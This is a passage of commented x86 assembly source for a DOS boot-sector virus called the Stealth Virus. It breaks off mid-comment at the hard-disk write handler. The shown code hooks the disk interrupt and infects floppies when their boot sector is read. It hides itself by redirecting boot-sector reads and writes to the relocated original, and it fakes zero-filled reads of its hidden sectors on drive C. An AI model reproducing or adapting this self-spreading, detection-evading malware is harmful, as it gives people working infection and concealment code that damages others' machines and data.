;The Stealth Virus is a boot sector virus which remains resident in memory ;after boot so it can infect disks. It hides itself on the disk and includes ;special anti-detection interrupt traps so that it is very difficult to ;locate. This is a very infective and crafty virus. COMSEG SEGMENT PARA ASSUME CS:COMSEG,DS:COMSEG,ES:COMSEG,SS:COMSEG ORG 100H START: jmp BOOT_START ;******************************************************************************* ;* BIOS DATA AREA * ;******************************************************************************* ORG 413H MEMSIZE DW 640 ;size of memory installed, in KB ;******************************************************************************* ;* VIRUS CODE STARTS HERE * ;******************************************************************************* ORG 7000H STEALTH: ;A label for the beginning of the virus ;******************************************************************************* ;Format data consists of Track #, Head #, Sector # and Sector size code (2=512b) ;for every sector on the track. This is put at the very start of the virus so ;that when sectors are formatted, we will not run into a DMA boundary, which ;would cause the format to fail. This is a false error, but one that happens ;with some BIOS's, so we avoid it by putting this data first. ;FMT_12M: ;Format data for Track 80, Head 1 on a 1.2 Meg diskette, ; DB 80,1,1,2, 80,1,2,2, 80,1,3,2, 80,1,4,2, 80,1,5,2, 80,1,6,2 ; ;FMT_360: ;Format data for Track 40, Head 1 on a 360K diskette ; DB 40,1,1,2, 40,1,2,2, 40,1,3,2, 40,1,4,2, 40,1,5,2, 40,1,6,2 ;******************************************************************************* ;* INTERRUPT 13H HANDLER * ;******************************************************************************* OLD_13H DD ? ;Old interrupt 13H vector goes here INT_13H: sti cmp ah,2 ;we want to intercept reads jz READ_FUNCTION cmp ah,3 ;and writes to all disks jz WRITE_FUNCTION I13R: jmp DWORD PTR cs:[OLD_13H] ;******************************************************************************* ;This section of code handles all attempts to access the Disk BIOS Function 2, ;(Read). It checks for several key situations where it must jump into action. ;they are: ; 1) If an attempt is made to read the boot sector, it must be processed ; through READ_BOOT, so an infected boot sector is never seen. Instead, ; the original boot sector is read. ; 2) If any of the infected sectors, Track 0, Head 0, Sector 2-7 on ; drive C are read, they are processed by READ_HARD, so the virus ; code is never seen on the hard drive. ; 3) If an attempt is made to read the boot sector on the floppy, and ; the motor is off, this routine checks to see if the floppy has ; already been infected, and if not, it goes ahead and infects it. READ_FUNCTION: ;Disk Read Function Handler cmp dh,0 ;is it head 0? jnz I13R ;nope, let BIOS handle it cmp ch,0 ;is it track 0? jnz I13R ;no, let BIOS handle it cmp cl,1 ;track 0, is it sector 1 jz READ_BOOT ;yes, go handle boot sector read cmp dl,80H ;no, is it hard drive c:? jnz I13R ;no, let BIOS handle it cmp cl,8 ;sector < 8? jnc I13R ;nope, let BIOS handle it jmp READ_HARD ;yes, divert read on the C drive ;******************************************************************************* ;This section of code handles all attempts to access the Disk BIOS Function 3, ;(Write). It checks for two key situations where it must jump into action. They ;are: ; 1) If an attempt is made to write the boot sector, it must be processed ; through WRITE_BOOT, so an infected boot sector is never overwritten. ; instead, the write is redirected to where the original boot sector is ; hidden. ; 2) If any of the infected sectors, Track 0, Head 0, Sector 2-7 on ; drive C are written, they are processed by WRITE_HARD, so the virus ; code is never overwritten. WRITE_FUNCTION: ;BIOS Disk Write Function cmp dh,0 ;is it head 0? jnz I13R ;nope, let BIOS handle it cmp ch,0 ;is it track 0? jnz I13R ;nope, let BIOS handle it cmp cl,1 ;is it sector 1 jnz WF1 ;nope, check for hard drive jmp WRITE_BOOT ;yes, go handle boot sector read WF1: cmp dl,80H ;is it the hard drive c: ? jnz I13R ;no, another hard drive cmp cl,8 ;sector < 8? jnc I13R ;nope, let BIOS handle it jmp WRITE_HARD ;else take care of writing to C: ;******************************************************************************* ;This section of code handles reading the boot sector. There are three ;possibilities: 1) The disk is not infected, in which case the read should be ;passed directly to BIOS, 2) The disk is infected and only one sector is ;requested, in which case this routine figures out where the original boot ;sector is and reads it, and 3) The disk is infected and more than one sector ;is requested, in which case this routine breaks the read up into two calls to ;the ROM BIOS, one to fetch the original boot sector, and another to fetch the ;additional sectors being read. One of the complexities in this last case is ;that the routine must return the registers set up as if only one read had ;been performed. ; To determine if the disk is infected, the routine reads the real boot sector ;into SCRATCHBUF and calls IS_VBS. If that returns affirmative (z set), then ;this routine goes to get the original boot sector, etc., otherwise it calls ROM ;BIOS and allows a second read to take place to get the boot sector into the ;requested buffer at es:bx. READ_BOOT: cmp dl,80H ;check if we must infect first jnc RDBOOT ;don't need to infect hard dsk call CHECK_DISK ;is floppy already infected? jz RDBOOT ;yes, go do read call INFECT_FLOPPY ;no, go infect the diskette RDBOOT: push ax ;now perform a redirected read push bx ;save registers push cx push dx push ds push es push bp push cs ;set ds=es=cs pop es push cs pop ds mov bp,sp ;and bp=sp RB001: mov al,dl call GET_BOOT_SEC ;read the real boot sector jnc RB01 ;ok, go on call GET_BOOT_SEC ;do it again to make sure jnc RB01 ;ok, go on jmp RB_GOON ;error, let BIOS return err code RB01: call IS_VBS ;is it the viral boot sector? jz RB02 ;yes, jump jmp RB_GOON ;no, let ROM BIOS read sector RB02:; mov bx,OFFSET SCRATCHBUF + (OFFSET DR_FLAG - OFFSET BOOT_START) mov bx,OFFSET SB_DR_FLAG ;required instead of ^ for a86 mov al,BYTE PTR [bx] ;get disk type of disk being cmp al,80H ;read, and make an index of it jnz RB1 mov al,4 RB1: mov bl,3 ;to look up location of boot sec mul bl add ax,OFFSET BOOT_SECTOR_LOCATION ;ax=@BOOT_SECTOR_LOCATION table mov bx,ax mov ch,[bx] ;get track of orig boot sector mov dh,[bx+1] ;get head of orig boot sector mov cl,[bx+2] ;get sector of orig boot sector mov dl,ss:[bp+6] ;get drive from original spec mov bx,ss:[bp+10] ;get read buffer offset mov ax,ss:[bp+2] ;and segment mov es,ax ;from original specification mov ax,201H ;prepare to read 1 sector pushf call DWORD PTR [OLD_13H] ;do BIOS int 13H mov al,ss:[bp+12] ;see if original request cmp al,1 ;was for more than one sector jz RB_EXIT ;no, go exit READ_1NEXT: ;more than 1 sec requested, so pop bp ;read the rest as a second call pop es ;to BIOS pop ds pop dx ;first restore these registers pop cx pop bx pop ax add bx,512 ;prepare to call BIOS for push ax ;balance of read dec al ;get registers straight for it inc cl cmp dl,80H ;is it the hard drive? jnz RB15 ;nope, go handle floppy push bx ;handle an infected hard drive push cx ;by faking read on extra sectors push dx ;and returning a block of 0's push si push di push ds push bp push es pop ds ;ds=es mov BYTE PTR [bx],0 ;set first byte in buffer = 0 mov si,bx mov di,bx inc di mov ah,0 ;ax=number of sectors to read mov bx,512 ;bytes per sector mul bx ;# of bytes to read in dx:ax<64K mov cx,ax dec cx ;number of bytes to move in cx rep movsb ;fill buffer with 0's clc ;clear c, fake read successful pushf ;then restore everyting properly pop ax ;first set flag register mov ss:[bp+20],ax ;as stored on the stack pop bp ;and pop all registers pop ds pop di pop si pop dx pop cx pop bx pop ax mov ah,0 dec cl sub bx,512 iret ;and get out RB15: ;read next sectors on floppy pushf ;call BIOS to call DWORD PTR cs:[OLD_13H] ;read the rest (must use cs) push ax push bp mov bp,sp pushf ;use c flag from BIOS call pop ax ;to set c flag on the stack mov ss:[bp+10],ax jc RB2 ;if error, return ah from 2nd rd sub bx,512 ;else restore registers so dec cl ;it looks as if only one read pop bp ;was performed pop ax pop ax ;and exit with ah=0 to indicate mov ah,0 ;successful read iret RB2: pop bp ;error on 2nd read pop ax ;so clean up stack add sp,2 ;and get out iret RB_EXIT: ;exit from single sector read mov ax,ss:[bp+18] ;set the c flag on the stack push ax ;to indicate successful read popf clc pushf pop ax mov ss:[bp+18],ax pop bp ;restore all registers pop es pop ds pop dx pop cx pop bx pop ax mov ah,0 iret ;and get out RB_GOON: ;This passes control to BIOS pop bp ;for uninfected disks pop es ;just restore all registers to pop ds ;their original values pop dx pop cx pop bx pop ax jmp I13R ;and go jump to BIOS ;******************************************************************************* ;This table identifies where the original boot sector is located for each ;of the various disk types. It is used by READ_BOOT and WRITE_BOOT to redirect ;boot sector reads and writes. BOOT_SECTOR_LOCATION: DB 39,1,9 ;Track, head, sector, 360K drive DB 79,1,15 ;1.2M drive DB 79,1,9 ;720K drive DB 79,1,18 ;1.44M drive DB 0,0,7 ;Hard drive ;******************************************************************************* ;This routine handles writing the boot sector for all disks. It checks to see ;if the disk has been infected, and if not, allows BIOS to handle the write. ;If the disk is infected, this routine redirects the write to put the boot ;sector being written in the reserved area for the original boot sector. It ;must also handle the writing of multiple sectors properly, just as READ_BOOT ;did. WRITE_BOOT: push ax ;save everything we might change push bx push cx push dx push ds push es push bp mov bp,sp push cs ;ds=es=cs pop ds push cs pop es mov al,dl call GET_BOOT_SEC ;read the real boot sector jnc WB01 call GET_BOOT_SEC ;do it again if first failed jnc WB01 jmp WB_GOON ;error on read, let BIOS take it WB01: call IS_VBS ;else, is disk infected? jz WB02 ;yes jmp WB_GOON ;no, let ROM BIOS write sector WB02:; mov bx,OFFSET SCRATCHBUF + (OFFSET DR_FLAG - OFFSET BOOT_START) mov bx,OFFSET SB_DR_FLAG ;required instead of ^ for a86 mov al,BYTE PTR [bx] cmp al,80H ;infected, so redirect the write jnz WB1 mov al,4 ;make an index of the drive type WB1: mov bl,3 mul bl add ax,OFFSET BOOT_SECTOR_LOCATION ;ax=@table entry mov bx,ax mov ch,[bx] ;get the location of original mov dh,[bx+1] ;boot sector on disk mov cl,[bx+2] ;prepare for the write mov dl,ss:[bp+6] mov bx,ss:[bp+10] mov ax,ss:[bp+2] mov es,ax mov ax,301H pushf call DWORD PTR [OLD_13H] ;and do it sti mov dl,ss:[bp+6] cmp dl,80H ;was write going to hard drive? jnz WB_15 ;no mov BYTE PTR [DR_FLAG],80H ;yes, update partition info push si push di mov di,OFFSET PART ;just move it from sec we just mov si,ss:[bp+10] ;wrote into the viral boot sec add si,OFFSET PART sub si,OFFSET BOOT_START push es pop ds push cs pop es ;switch ds and es around mov cx,20 rep movsw ;and do the move push cs pop ds mov ax,301H mov bx,OFFSET BOOT_START mov cx,1 ;Track 0, Sector 1 mov dx,80H ;drive 80H, Head 0 pushf ;go write updated viral boot sec call DWORD PTR [OLD_13H] ;with new partition info pop di ;clean up pop si WB_15: mov al,ss:[bp+12] cmp al,1 ;was write more than 1 sector? jz WB_EXIT ;if not, then exit WRITE_1NEXT: ;more than 1 sector mov dl,ss:[bp+6] ;see if it's the hard drive cmp dl,80H jz WB_EXIT ;if so, ignore rest of the write pop bp ;floppy drive, go write the rest pop es ;as a second call to BIOS pop ds pop dx pop cx ;restore all registers pop bx pop ax add bx,512 ;and modify a few to push ax ;drop writing the first sector dec al inc cl pushf call DWORD PTR cs:[OLD_13H] ;go write the rest sti push ax push bp mov bp,sp pushf ;use c flag from call pop ax ;to set c flag on the stack mov ss:[bp+10],ax jc WB2 ;an error ;so exit with ah from 2nd int 13 sub bx,512 dec cl pop bp pop ax pop ax ;else exit with ah=0 mov ah,0 ;to indicate success iret WB2: pop bp ;exit with ah from 2nd pop ax ;interrupt add sp,2 iret WB_EXIT: ;exit after 1st write mov ax,ss:[bp+18] ;set carry on stack to indicate push ax ;a successful write operation popf clc pushf pop ax mov ss:[bp+18],ax pop bp ;restore all registers and exit pop es pop ds pop dx pop cx pop bx pop ax mov ah,0 iret WB_GOON: ;pass control to ROM BIOS pop bp ;just restore all registers pop es pop ds pop dx pop cx pop bx pop ax jmp I13R ;and go do it ;******************************************************************************* ;Read hard disk sectors on Track 0, Head 0, Sec > 1. If the disk is infected, ;then instead of reading the true data there, return a block of 0's, since ;0 is the data stored in a freshly formatted but unused sector. This will ;fake the caller out and keep him from knowing that the virus is hiding there. ;If the disk is not infected, return the true data stored in those sectors. READ_HARD: call CHECK_DISK ;see if disk is infected jnz RWH_EX ;no, let BIOS handle the read push ax ;else save registers push bx push cx push dx push si push di push ds push bp mov bp,sp mov BYTE PTR es:[bx],0 ;zero the first byte in the blk push es pop ds mov si,bx ;set up es:di and ds:si mov di,bx ;for a transfer inc di mov ah,0 ;ax=number of sectors to read mov bx,512 ;bytes per sector mul bx ;number of bytes to read in ax mov cx,ax dec cx ;number of bytes to move rep movsb ;do fake read of all 0's mov ax,ss:[bp+20] ;now set c flag push ax ;to indicate succesful read popf clc pushf pop ax mov ss:[bp+20],ax pop bp ;restore everything and exit pop ds pop di pop si pop dx pop cx pop bx pop ax mov ah,0 ;set to indicate successful read iret RWH_EX: jmp I13R ;pass control to BIOS ;******************************************************************************* ;Handle writes to hard disk Track 0, Head 0, 1